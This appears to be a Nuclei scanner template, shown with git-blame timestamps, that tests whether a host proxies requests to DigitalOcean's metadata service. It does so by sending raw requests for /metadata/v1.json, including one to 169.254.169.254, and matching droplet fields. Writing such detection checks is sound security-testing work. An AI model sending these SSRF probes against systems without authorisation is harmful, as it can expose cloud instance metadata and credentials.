2022-12-20 05:21:20 +00:00
|
|
|
id: digital-ocean-ssrf
|
|
|
|
|
|
|
|
info:
|
2022-12-22 05:36:01 +00:00
|
|
|
name: Digital Ocean - Server-side request forgery (SSRF)
|
2022-12-20 05:21:20 +00:00
|
|
|
author: DhiyaneshDk
|
|
|
|
severity: critical
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
|
|
|
|
cvss-score: 9.3
|
|
|
|
cwe-id: CWE-441
|
2022-12-22 05:36:01 +00:00
|
|
|
tags: digitalocean,ssrf
|
2022-12-20 05:21:20 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |+
|
|
|
|
GET {{BaseURL}}/metadata/v1.json HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
- |+
|
|
|
|
GET http://169.254.169.254/metadata/v1.json HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
unsafe: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '"droplet_id":'
|
|
|
|
- '"hostname":'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|